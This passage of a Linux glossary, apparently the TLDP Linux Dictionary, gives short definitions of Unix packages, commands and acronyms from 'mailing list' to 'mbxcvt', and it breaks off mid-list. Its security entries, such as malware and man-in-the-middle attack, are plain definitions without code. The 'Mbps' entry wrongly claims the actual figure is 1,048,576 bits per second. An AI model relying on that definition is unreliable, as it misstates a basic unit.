A mailing list is a special address that, when posted to, automatically sends email to a long list of other addresses. You usually subscribe to a mailing list by sending some specially formatted email or by requesting a subscription from the mailing list manager. Once you have subscribed to a list, any email you post to the list will be sent to every other subscriber, and every other subscriber's posts to

the list will be sent to you. There are mostly three types of mailing lists: the majordomo type, the listserv type, and the *-request type. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

maileds

It show new mails with the keyboard-leds The Program mailedds have set the SUID-Bit! Please check the source code! mailedds is a quiet, unobtrusive way to signify that you have new mail: a user daemon to blink LEDs when there is new mail. This package don't have /usr/bin/xmaileds, because this don't work. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

maillist

mailagent's commands From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Maillist (or Mailing List)

A (usually automated) system that allows people to send e-mail to one address, whereupon their message is copied and sent to all of the other subscribers to the maillist. In this way, people who have many different kinds of e-mail access can participate in discussions together. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailman

Powerful, web-based mailing list manager The GNU Mailing List Manager, which manages email discussion lists much like Majordomo and Smartmail. Unlike most similar products, Mailman gives each mailing list a web page, and allows users to subscribe, unsubscribe, etc. over the web. Even the list manager can administer his or her list entirely from the web. Mailman also integrates most things people want to do with mailing lists, including archiving, mail <-> news gateways, and so on. It has all of the features you expect from such a product, plus integrated support for the web (including web based archiving), automated bounce handling and integrated spam prevention. For more information see <http://www.list.org/>. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailpatch

mailagent's commands From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailq

Mail Transfer Agent From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailreader

Simple, but powerful WWW mail reader system Mailreader is a light and simple web based mail user agent written in PERL. It has a very simple configuration and works quite well. Mailreader currently supports only POP3 servers. Now it support Japanese locale (libjcode-pm-perl needed - otherwise please ignore this suggestion). Although mailreader's dependencies do not include a POP3 server, it does require an available POP3 server on the network for normal operation. For secure connections (HIGHLY RECOMMENDED!) you need httpd with ssl support. (You can try apache-ssl). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailscanner

An email virus scanner and spam tagger. MailScanner is a freely distributable E-Mail gateway virus scanner and spam detector. It uses sendmail or Exim as its basis, and a choice of 7 commercial virus scanning engines to do the actual virus scanning. It can decode and scan attachments intended solely for Microsoft Outlook users (MS-TNEF). If possible, it will disinfect infected documents and deliver them automatically. It also has features which protect it against Denial Of Service attacks. Virus checking is disabled by default, spam checking is enabled by default. After installation, you can enable virus checking, write your own virus scanner or install one of the supported commercial anti-virus packages. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailshar

GNU sharutils From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailstat

shows mail-arrival statistics From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailsync

Synchronize IMAP mailboxes Mailsync is a way of keeping a collection of mailboxes synchronized. The mailboxes may be on the local filesystem or on an IMAP server. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailto

WWW Forms to Mail Gateway This package provides a CGI program that converts data submitted through a <forms> tag to simple mail that is sent to a given address. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailtools

Package to facilitate upgrades This package exists to smooth upgrades from the old name of mailtools to the new name of libmailtools-perl. If all dependencies on mailtools are changed to libmailtools-perl, this package can be safely removed. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailutils

GNU Mailutils mailx client This is GNU's version of mailx. It is capable of speaking POP3, IMAP, and mbox. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailutils-imap4d

Mailutils-based IMAP4 Daemon GNU Mailutils-based IMAP4 Daemon From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailutils-pop3d

Mailutils-based POP3 Daemon GNU Mailutils-based POP3 Daemon From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailx

A simple mail user agent. mailx is the traditional command-line-mode mail user agent. Even if you don't use it it may be required by other programs. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mailx

The mailx package installs the /bin/mail program, which is used to send quick email messages (i.e., without opening up a full-featured mail useragent). Mail is often used in shell scripts. You should install mailx because of its quick email sending ability, which is especially useful if you're planning on writing any shell scripts. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mainframe

A multi-user computer designed to meet the computing needs of a large organisation. Originally, the term mainframe referred to the metal cabinet that housed the central processing unit (CPU) of early computers. The term came to be used generally to refer to the large central computers developed in the late 1950s and 1960s to meet the accounting and information-management needs of large organisations. The largest mainframes can handle thousands of dumb terminals and use terabytes of secondary storage. See minicomputer, personal computer, and workstation. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mainframe

The largest and most powerful type of computer system that is widely used. A mainframe typically occupies many cabinets and fills an entire room. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAINSAIL

MAchine INdependent SAIL (SAIL) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

maint-guide

Debian New Maintainers' Guide This package contains the Debian New Maintainers' Guide. This document will try to describe building of a Debian GNU/Linux package to the common Debian user (and wannabe developer) in common language, and well covered with working examples. Contains following chapters: 1. Getting started "The Right Way" 2. First steps 3. Modifying the source 4. Required stuff under debian/ 5. Other files under debian/ 6. Final steps From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Maintenance programming

Altering programs after they have been in use for a while. Maintenance programming may be performed to add features, correct bugs that escaped detection during testing, or update key variables (such as the inflation rate) that change over time. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Maintenance release

A program revision that corrects a minor bug or makes a minor new feature available, such as a new printer driver. Maintenance releases are usually numbered in tenths (3.2) or hundredths (2.01), to distinguish them from major program revisions. Synonymous with interim update. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAJC

Microprocessor Architecture for Java Computing [pronounced 'magic'] (Sun, Java) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAJOUR

Modular Application for JOURnals (EWS, SGML) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

make

A GNU tool for controlling the generation of executables and other non-source files of a program from the program's source files. Make allows users to build and install packages without any significant knowledge about the details of the build process. The details about how the program should be built are provided for make in the program's makefile. The GNU make tool should be installed on your system because it is commonly used to simplify the process of installing programs. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

make

The GNU version of the "make" utility. GNU Make is a program that determines which pieces of a large program need to be recompiled and issues the commands to recompile them, when necessary. More information about GNU Make can be found in the `make' Info page. The upstream sources for this package are available at the location <ftp://ftp.gnu.org/gnu/make/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makedb

Create simple DB database from textual input. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makedepend

create dependencies in makefiles From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makedev

Creates device files in /dev. The MAKEDEV executable is used to populate the /dev directory with device files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makedev

This package contains the makedev program, which makes it easier to create and maintain the files in the /dev directory. /dev directory files correspond to a particular device supported by Linux (serial or printerports, scanners, sound cards, tape drives, CD-ROM drives, hard drives, etc.) and interface with the drivers in the kernel. The makedev package is a basic part of your Mandrake Linux system and it needs to be installed. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAKEDEV

This package contains the MAKEDEV script, which makes it easier to create and maintain the files in the /dev directory. /dev directory files correspond to a particular device supported by Linux (serial or printer ports, scanners, sound cards, tape drives, CD-ROM drives, hard drives, etc.) and interface with the drivers in the kernel. You should install the MAKEDEV package because the MAKEDEV utility makes it easy to manage the /dev directory device files. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makedic

A dictionary compiler for KDrill makeedict is the program to help you make custom dictionary file for KDrill. In particular, this is the program use to create the kanadic drill files. From Debian 3.0r0

APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makefile

A file that instructs the program make how to compile and link a program. From Linux Guide

@FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAKEFLOPPIES

Creates the default floppy device nodes. TQ From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makeg

make a debuggable executable From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makeindex

a general purpose, formatter-independent index processor From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makeinfo

translate Texinfo documents From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makejvf

generate VF file from japanese TeX TFM file for dvips For japanese font, the real size of PS font and information of TFM file is a bit different and this causes unexpected output so we need VF file to fix this situation. This package provide a tool to generate such VF files from TFM files. From Debian

3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makempx

typeset labels in MetaPost pictures with TeX or Troff From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makepasswd

Generate and encrypt passwords Generates true random passwords by using the /dev/random feature of Linux, with the emphasis on security over pronounceability. It can also encrypt plaintext passwords given on the command line. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makepatch

generate/apply patch files with more functionality than plain diff This package contains a pair of programs, makepatch and applypatch, to assist in the generation and application of patch kits to synchronise source trees. makepatch knows about common conventions for patch kits (it generates Index: and Prereq: lines, it patches patchlevel.h first, it can use manifest files), plus it prepends some shell code which if run will take care adding directories, removing files, setting execute mode on scripts, and the like. applypatch uses some extra data supplied by makepatch to verify both the patch and the source directory before applying the patch. Afterwards it will clean up the directory tree plus fix up the permissions and even the timestamps on the patched files. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makepsres

Linux Dictionary

Build PostScript resource database file. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makestrs

makes string table C source and header(s) From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MakeTeXPK

create a PK file for a font From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

makexvpics

updates .xvpics thumbnails from the command line This package includes a shell script and a C helper program to update XV/Gimp/zgv/xzgv thumbnails from the command line. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

make_smbcodepage

construct a codepage file for Samba From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

make_uniconemap

construct a unicode map file for Samba From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

malaga-bin

A system for automatic language analysis Malaga is a system for implementing natural language analysers: both grammars and morphologies can be created. You will not be needing this package if you do not intend to do research on computer linguistics or develop computer programs that need to do advanced processing of natural languages. This package contains a set of standalone programs that can be used in developing and playing with grammars and morphologies. One of the programs uses a Tk/TCL module for displaying graphical analysis trees. Malaga support for Emacs is also included. To read the documentation in this package you will need a basic TeX environment, particularly the standard Computer Modern fonts and a DVI file viewer, which are included in the Debian tetex-bin and tetex-base packages. Alternatively, you can install the malaga-doc package, which contains the same documentation in HTML and PostScript form. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

malsync

Utility to sync AvantGo channels with a 3Com Pilot PDA malsync is a small utility that communicates between a 3Com Pilot and the AvantGo web servers (and other MAL enabled servers).

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

malware

In an abstract world, the world consists of plants and animals (flora and fauna). Hardware makes up the flora, automated programs with a life of their own make up the malware. Examples: viruses/virii, Trojan Horses, RATs (Remote Administration Trojans), spiders, bots, logic bombs. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAM

Multi Access Module From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAME

Multiple Arcade Machine Emulator, "M.A.M.E." From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

man

macros to format man pages From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAN

Metropolitan Area Network From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

man

The man package includes three tools for finding information and/or documentation about your Linux system: man, apropos and whatis. The man system formats and displays on-line manual pages about commands or functions on your system. Apropos searches the whatis database (containing short descriptions of system commands) for a string. Whatis searches its own database for a complete word. The man package should be installed on your system because it is the primary way for find documentation on a Mandrake Linux system. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Man

The UNIX/Linux command for reading online manual pages. From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

man page

Every version of UNIX comes with an extensive collection of online help pages called man pages (short for manual pages). The man pages are the authoritative about your UNIX system. They contain complete information about both the kernel and all the utilities.

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

man-db

The on-line manual pager This package provides the man command, the primary way of examining the on-line help files (manual pages). Other utilities provided include the whatis and apropos commands for searching the manual page database, the manpath utility for determining the manual page search path, and the maintenance utilities mandb, catman and zsoelim. man-db uses the groff suite of programs to format and display the manual pages. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

man-in-the-middle attack

An attacker where the hacker interposes himself in the middle between two people. Culture: Historically, when talking about such attacks, the hacker is given male names starting with the letter M (like Mallory, Mark, Mawry, etc.). Key point: This often means that both sides of a connection really need to authenticate themselves. For example, when you log into a server, you really want to be assured it is the real server you are talking to, rather than Mark who is forwarding your requests to the real server using your identity. Key point: In the year 2000, Dug Song released a toolkit for interposing yourself in between SSL and SSH connections. It relies upon the fact that client systems do not validate the certificates on the server. Therefore, the man-in-the-middle attack can present any certificate to the client, which will not realize it is not the certificate of the server. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

man-pages

A large collection of man pages (documentation) from the Linux Documentation Project (LDP). From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

man-pages

A large collection of man pages (reference material) from the LinuxDocumentation Project (LDP). The man pages are organized into the following sections: Section 1: User commands (intro only) Section 2: System calls Section 3: Libc calls Section 4: Devices (e.g., hd, sd) Section 5: File formats and protocols (e.g., wtmp, /etc/passwd, nfs) Section 6: Games (intro only) Section 7: Conventions, macro packages, etc. (e.g., nroff, ascii) Section 8: System administration (intro only) Section 9: Kernel internal routines From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

man2html

Turns a web-browser and an httpd-server into a man pager. Point your webbrowser at <http://your.site/cgi-bin/man2html> and you got your manpages in the browser. Features: * Fast C CGI program for man/BSD-mandoc to HTML conversion. * Works from the unformatted nroff/troff source. * Source may be compressed. * Does tbl tables (but not eqn equations). * Generates hypertext links to foobar(1), abc@host, and xyzzy.h files * CGI script for whatis-based alpha-indexes by section. * CGI script for name-only alpha-indexes by section. * CGI script for full text search

Linux Dictionary

(requires glimpse) * Front-end script to talk to a pre-launched netscape. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mandb

create or update the manual page index caches From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mandrake Linux

MandrakeSoft makes this popular distribution. Originally based on Red Hat Linux, Mandrake Linux has grown into a unique distribution. Mandrake Linux 9.1 (Bamboo) was released March 25, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mandrake-galaxy

This package displays an html file allowing users to launch browsers to other html pages (Mandrake web sites or local html documentation) or to launch Mandrake applications such as the Mandrake Control Center. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mandrake-mime

This package contains all MIME type files not provided by desktop environment. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mandrake-release

Mandrake Linux release file. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mandrake_desk

This package contains useful icons, backgrounds and others goodies for the Mandrake desktop. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

manedit

A GTK+-based Enhanced ManPage Editor ManEdit was created due to a lack of editors for UNIX manual pages, since users expect each UNIX program/configuration/api/etc to have a manual page the lack of an editor and the high demand for what it should create eventually lead to this (long overdue) application. Although most resourced developers can create a source document using a much more advanced editor and then export to multiple file formats, the average UNIX contributor isn't up to that. Even the creators of this application were intimidated at the UNIX manual page creation process. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mangoquest

The Blue Mango Quest, a first person maze game Pacman meets Doom This brings the third dimension into the classical game of pacman: run around a maze eating pills and power ups while you avoid being eaten by ghostly fiends. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

manpages

Man pages about using a Linux system. This package contains the Linux man pages for these sections: * 4 = Devices (e.g. hd, sd). * 5 = File formats and protocols, syntaxis of several system files (e.g. wtmp, /etc/passwd, nfs). * 7 = Conventions and standards, macro packages, etc. (e.g. nroff, ascii). Sections 1, 6 and 8 are provided by the respective applications. This package only includes the intro man page describing the section. The man pages describe syntaxis of several system files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

manpath

determine search path for manual pages From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

manpath

format of the /etc/manpath.config file From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mantis

A php/MySQL/web based bug tracking system. Php3 version Mantis is a php/MySQL/web based bug tracking system. The software resides on a webserver while any web browser should be able to function as a client. It is released under the terms of the GNU GPL. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

manued-el

Minor mode for manued proofreading method Manued is a method for proofreading of manuscripts, proposed by Ikuo TAKEUCHI in No.39 Programming symposium of Japan. Manued is a media independent proofreading method, however, it is especially effective for exchanging electric texts via E-mail. Manued.el is an emacs lisp implementation for supporting manued method. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAP

Maintenance Analysis Procedure (IBM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAP

Manufacturing Automation Protocol (General Motors) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAP

Mobile Application Part (MSC, GSM, mobile-systems) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAP27

Mobile Access Protocol [for MPT 1327] (MPT 1327), "MAP 27" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAPASE

Mobile Application Part – Application Service Elements (MAP, MSC, GSM, mobile-systems), "MAP-ASE" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAPI

Messaging Application Program Interface (MS, WOSA, API) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAPTOP

Manufacturing Automation Protocol/Technical Office Protocol, "MAP/TOP" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAR

Microprogram Address Register (IC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

maradns

A simple DNS server, aimed to be secure This DNS server has the following goals: Security. A DNS server needs to be secure. It has a number of security features in the code, including: 1.The code uses a special string library which is resistant to buffer overflows. 2.The code, if started as root, mandates running as an unprivileged user in a chroot() jail. Open-Source. This DNS server is public-domain code. There are no restrictions attached to this code. Simplicity. This DNS server has the minimum number of features needed to correctly act as an authoritative name server for a domain. MaraDNS can be found from <http://www.maradns.org> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

marbles

A game where you build figures out of colored marbles The goal of this game is to create a more or less complex figure out of single marbles within a time limit to reach the next level. Sounds easy? Well, there is a problem: If a marble starts to move, it will not stop until it hits a wall or another marble. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MARC

MAchine Readable Cataloging [record] From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

marlais

An interpreter for a Dylan-like language Marlais is a simple-minded interpreter for a programming language strongly resembling Dylan. Dylan is an object oriented language similar to Lisp that uses infix syntax rather than prefix syntax. Marlais can use either syntax. This is a "hackers release" and is intended as a vehicle for education and experimentation. If you are interested in using Dylan you may also wish to look at the gwydion-dylan package. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAS

Multi Agent Systems (AI) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAS90

Mittelstands-Anwendungs-System 90 (IBM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MASC

Multicast Address-Set Claim [protocol] (RFC 2909, Multicast) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MASE

Message Administration Service Element From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MASM

Microsoft ASseMbler (MS, assembler) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mason

Interactively creates a Linux packet filtering firewall. Mason creates a firewall that exactly matches the types of TCP/IP traffic flowing in, out and through a Linux computer. It can be used to create a full firewall or add rules to an existing firewall. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

masqmail

A mailer for hosts without permanent internet connection MasqMail is a MTA (mail transport agent) and POP3 client for hosts that don't have a permanent internet connection, eg. a home network or a single host at home. It has special support for connections to different ISPs, and will work nicely along with the masqodialer. In these cases, MasqMail is a slim replacement for full-blown MTAs such as sendmail, exim, qmail or postfix. The POP3 client can be a small replacement for other full-featured tools like fetchmail. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

masquerade

An attack where somebody forges their identity, either by supplying false credentials when authenticating or by hijacking existing connections through man-in-the-middle attacks. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mass storage device

A piece of equipment, such as a disk or tape drive, that stores large amounts of data relatively inexpensively. Although these devices cost less than the main memory in a computer system, they are much slower to access. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mastodon

Mastodon, version INST0064 was released March 9, 2001. It is a self-booting 360MB CD image, suitable for burning onto a CD-ROM. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

matchbox

A X11 Window manager for handheld devices Matchbox is a X11 window manager designed for computers with little screen real estate, limited input devices and low cpu/storage resources.

Touchscreen PDA's fit well into this category. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mathwar

A flash card game designed to teach maths. A GTK application that teaches kids (and adults) how to respond quickly to math problems using flash cards and timers. It includes a Computer player, where the player gets to decide if the Computer is right or not. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

matrem

An experiment in Artificial life Matrem is a computer program that simulates life. It belongs to the emerging science of "artificial life", which studies evolution and complex systems in general by simulation. Matrem is also a game, where players compete to create the fittest life form. Their efforts are the driving force behind the program. This package provides a binary generated from the original sources. You can study the evolution of the default world and species. If you wish to add your own species you will need to download and modify the source code. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mattrib

change MSDOS file attribute flags TQ From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

matwrap

A wrapper generator for matrix languages Matwrap is a tool for interfacing C++ code into matrix-oriented scripting languages such as Octave, Tela or Matlab 5. It generates all the code to convert from the scripting language's internal types into the types that your C++ code understands (e.g., double, char *, float *, struct abc *). You do not need to understand any of the API details of the language to use your C++ code; just give matwrap a .h file describing your functions. Brief list of features: – Functions are automatically vectorized. – Arguments containing dimensions of other vector and matrix arguments can be computed automatically and need not be specified. – Pointers to structures and classes are supported. Public member functions of classes may be called, and public data members may be evaluated or set. Inheritance is supported. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAU

Medium Access Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAU

Medium Attachment Unit (IEEE 802.3, Transceiver) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAU

Multistation Access Unit (Token Ring, Hub) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAUS

Muensters Apple User Service (BBS, network), "M.A.U.S." From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAW

Microsoft At Work From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAWI

MAterialWirtschaft From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mawk

a pattern scanning and text processing language Mawk is an interpreter for the AWK Programming Language. The AWK language is useful for manipulation of data files, text retrieval and processing, and for prototyping and experimenting with algorithms. Mawk is a new awk meaning it implements the AWK language as defined in Aho, Kernighan and Weinberger, The AWK Programming Language, Addison-Wesley Publishing, 1988. (Hereafter referred to as the AWK book.) Mawk conforms to the Posix 1003.2 (draft 11.3) definition of the AWK language which contains a few features not described in the AWK book, and mawk provides a small number of extensions. Mawk is

smaller and much faster than gawk. It has some compile-time limits such as NF = 32767 and sprintf buffer = 1020. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mawk

pattern scanning and text processing language From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAX

MAssively parallel uniX (Cray, OS, MIMD, MPP, Unix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MAX

Media Access Exchange (Ascend) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

maxima

A fairly complete computer algebra system. This system MAXIMA is a COMMON LISP implementation due to William F. Schelter, and is based on the original implementation of Macsyma at MIT, as distributed by the Department of Energy. I now have permission from DOE to make derivative copies, and in particular to distribute it under the GNU public license. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mayavi

A scientific data visualization system. MayaVi is a Python application using The Visualization Toolkit. It also provides modules which are a handy interface to VTK internals in Python. It features an easy to use GUI, and lets you save the visualized scene to PostScript file, PPM/BMP/TIFF/JPEG/PNG image, Open Inventor, VRML or RenderMan RIB files. And a lot more! MayaVi can be easily modified to do things differently. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MB

MailBox From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MB

MegaByte From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mbadbblocks

tests a floppy disk, and marks the bad blocks in the FAT TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MBAG

Mercedes-Benz AktienGesellschaft (user) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MBCMS

Mercedes-Benz-Computer-Mikrofilm-System (MBAG), "MB-CMS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MBE

Molecular Beam Epitaxy (IC; MOSFET) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MBONE (Multicast Backbone)

a network that works in conjunction with the Internet for audio and video applications. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mboxgrep

Grep through mailboxes mboxgrep is a small utility that scans either standard Unix mailboxes, Gnus nnnl or nnnh mailboxes, MH mailboxes or Maildirs, and displays messages matching a basic, extended, or Perl-compatible regular expression. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MBPS

MegaBits Per Second From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mbps

One million bps, actual number is 1,048,576. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mbr

master boot record – The first sector of the disk; this is the sector that the BIOS reads in and starts when the machine is first booted. The master boot record contains a small program which reads the partition table, checks which partition is active (that is, marked bootable), and reads the first sector of that partition, the partition's boot sector. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mbr

Master Boot Record for IBM-PC compatible computers. This is used in booting Linux from the hard disk. The MBR runs first, then transfers control to LILO, which transfers control to the Linux kernel. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MBR

Master Boot Record From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MBR (Master Boot Record)

The first physical sector on a bootable disk drive. The place where the system BIOS looks when the computer is first booted, to determine which partition is currently active (bootable), before reading that partition's first (boot) sector and booting from the partition. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MBS

Maximum Burst Size From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MBUS

Module BUS [standard] (Sun, SPARC), "MBus" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mbxcopy

copy or move messages to a new mailbox From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mbxcreat

create a new mailbox From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mbxcvt

